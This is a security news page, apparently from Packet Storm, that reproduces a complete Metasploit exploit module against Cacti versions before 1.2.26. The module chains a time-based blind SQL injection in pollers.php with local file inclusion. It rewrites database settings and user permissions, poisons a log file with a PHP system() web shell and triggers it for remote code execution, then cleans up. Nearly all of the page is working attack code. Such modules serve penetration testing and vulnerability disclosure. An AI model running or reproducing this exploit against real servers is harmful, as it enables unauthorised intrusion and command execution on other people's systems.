Security
Headlines
HeadlinesLatestCVEs

Headline

Cacti pollers.php SQL Injection / Remote Code Execution

This Metasploit exploit module leverages sql injection and local file inclusion vulnerabilities in Cacti versions prior to 1.2.26 to achieve remote code execution. Authentication is needed and the account must have access to the vulnerable PHP script (pollers.php). This is granted by setting the Sites/Devices/Data permission in the General Administration section.

Packet Storm
#sql#csrf#vulnerability#web#windows#linux#git#php#rce#xpath#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::SQLi  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  class CactiError < StandardError; end  class CactiNotFoundError < CactiError; end  class CactiVersionNotFoundError < CactiError; end  class CactiNoAccessError < CactiError; end  class CactiCsrfNotFoundError < CactiError; end  class CactiLoginError < CactiError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Cacti RCE via SQLi in pollers.php',        'Description' => %q{          This exploit module leverages a SQLi (CVE-2023-49085) and a LFI          (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to          achieve RCE. Authentication is needed and the account must have access          to the vulnerable PHP script (`pollers.php`). This is granted by          setting the `Sites/Devices/Data` permission in the `General          Administration` section.        },        'License' => MSF_LICENSE,        'Author' => [          'Aleksey Solovev', # Initial research and discovery          'Christophe De La Fuente' # Metasploit module        ],        'References' => [          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)          [ 'CVE', '2023-49085'], # SQLi          [ 'CVE', '2023-49084'] # LFI (RCE)        ],        'Platform' => ['unix linux win'],        'Privileged' => false,        'Arch' => ARCH_CMD,        'Targets' => [          [            'Linux Command',            {              'Arch' => ARCH_CMD,              'Platform' => [ 'unix', 'linux' ]            }          ],          [            'Windows Command',            {              'Arch' => ARCH_CMD,              'Platform' => 'win'            }          ]        ],        'DefaultOptions' => {          'SqliDelay' => 3        },        'DisclosureDate' => '2023-12-20',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])      ]    )  end  def sqli    @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|      sqli_final_payload = '"'      sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')      sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""      send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'pollers.php'),        'method' => 'POST',        'keep_cookies' => true,        'vars_post' => {          '__csrf_magic' => @csrf_token,          'name' => 'Main Poller',          'hostname' => 'localhost',          'timezone' => '',          'notes' => '',          'processes' => '1',          'threads' => '1',          'id' => '2',          'save_component_poller' => '1',          'action' => 'save',          'dbhost' => sqli_final_payload        },        'vars_get' => {          'header' => 'false'        }      )    end  end  def get_version(html)    # This will return an empty string if there is no match    version_str = html.xpath('//div[@class="versionInfo"]').text    unless version_str.include?('The Cacti Group')      raise CactiNotFoundError, 'The web server is not running Cacti'    end    unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)      raise CactiVersionNotFoundError, 'Could not detect the version'    end    Regexp.last_match[:version]  end  def get_csrf_token(html)    html.xpath('//form/input[@name="__csrf_magic"]/@value').text  end  def do_login    if @csrf_token.blank? || @cacti_version.blank?      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'index.php'),        'method' => 'GET',        'keep_cookies' => true      )      if res.nil?        raise CactiNoAccessError, 'Could not access `index.php` - no response'      end      html = res.get_html_document      if @csrf_token.blank?        print_status('Getting the CSRF token to login')        @csrf_token = get_csrf_token(html)        if @csrf_token.empty?          # raise an error since without the CSRF token, we cannot login          raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'        else          vprint_good("CSRF token: #{@csrf_token}")        end      end      if @cacti_version.blank?        print_status('Getting the version')        begin          @cacti_version = get_version(html)          vprint_good("Version: #{@cacti_version}")        rescue CactiError => e          # We can still log in without the version          print_bad("Could not get the version, the exploit might fail: #{e}")        end      end    end    print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        '__csrf_magic' => @csrf_token,        'action' => 'login',        'login_username' => datastore['USERNAME'],        'login_password' => datastore['PASSWORD']      }    )    raise CactiNoAccessError, 'Could not login - no response' if res.nil?    raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302    print_good('Logged in')  end  def check    # Step 1 - Check if the target is Cacti and get the version    print_status('Checking Cacti version')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'GET',      'keep_cookies' => true    )    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?    html = res.get_html_document    begin      @cacti_version = get_version(html)      version_msg = "The web server is running Cacti version #{@cacti_version}"    rescue CactiNotFoundError => e      return CheckCode::Safe(e.message)    rescue CactiVersionNotFoundError => e      return CheckCode::Unknown(e.message)    end    if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')      print_good(version_msg)    else      return CheckCode::Safe(version_msg)    end    # Step 2 - Login    @csrf_token = get_csrf_token(html)    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?    begin      do_login    rescue CactiError => e      return CheckCode::Unknown("Login failed: #{e}")    end    @logged_in = true    # Step 3 - Check if the user has enough permissions to reach `pollers.php`    print_status('Checking permissions to access `pollers.php`')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'pollers.php'),      'method' => 'GET',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      }    )    return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?    return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401    return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200    # Step 4 - Check if it is vulnerable to SQLi    print_status('Attempting SQLi to check if the target is vulnerable')    return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable    CheckCode::Vulnerable  end  def get_ext_link_id    # Get an unused External Link ID with a time-based SQLi    @ext_link_id = rand(1000..9999)    loop do      _res, elapsed_time = Rex::Stopwatch.elapsed_time do        sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")      end      break if elapsed_time < datastore['SqliDelay']      @ext_link_id = rand(1000..9999)    end    vprint_good("Got external link ID #{@ext_link_id}")  end  def exploit    # `#do_login` will take care of populating `@csrf_token` and `@cacti_version`    unless @logged_in      begin        do_login      rescue CactiError => e        fail_with(Failure::NoAccess, "Login failure: #{e}")      end    end    @log_file_path = "log/cacti#{rand(1..999)}.log"    print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")    @log_setting_name_bak = '_path_cactilog'    sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")    @do_settings_cleanup = true    sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")    register_file_for_cleanup(@log_file_path)    print_status("Inserting the log file path `#{@log_file_path}` to the external links table")    log_file_path_lfi = "../../#{@log_file_path}"    # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):    #   $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);    log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')    get_ext_link_id    sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")    @do_ext_link_cleanup = true    print_status('Getting the user ID and setting permissions (it might take a few minutes)')    user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")    fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)    sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")    @do_perms_cleanup = true    print_status('Logging in again to apply new settings and permissions')    # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.    # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.    cookie_jar_bak = cookie_jar.clone    cookie_jar.clear    csrf_token_bak = @csrf_token    # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token    @csrf_token = nil    begin      do_login    rescue CactiError => e      fail_with(Failure::NoAccess, "Login failure: #{e}")    end    print_status('Poisoning the log')    header_name = rand_text_alpha(1).upcase    sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")    print_status('Triggering the payload')    # Expecting no response    send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'link.php'),      'method' => 'GET',      'keep_cookies' => true,      'headers' => {        header_name => payload.encoded      },      'vars_get' => {        'id' => @ext_link_id,        'headercontent' => 'true'      }    }, 0)    # Restore the cookie_jar and the CSRF token to run cleanup without being blocked    cookie_jar.clear    self.cookie_jar = cookie_jar_bak    @csrf_token = csrf_token_bak  end  def cleanup    super    if @do_ext_link_cleanup      print_status('Cleaning up external link using SQLi')      sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")    end    if @do_perms_cleanup      print_status('Cleaning up permissions using SQLi')      sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")    end    if @do_settings_cleanup      print_status('Cleaning up the log path in `settings` table using SQLi')      sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")      sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")    end  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7027-1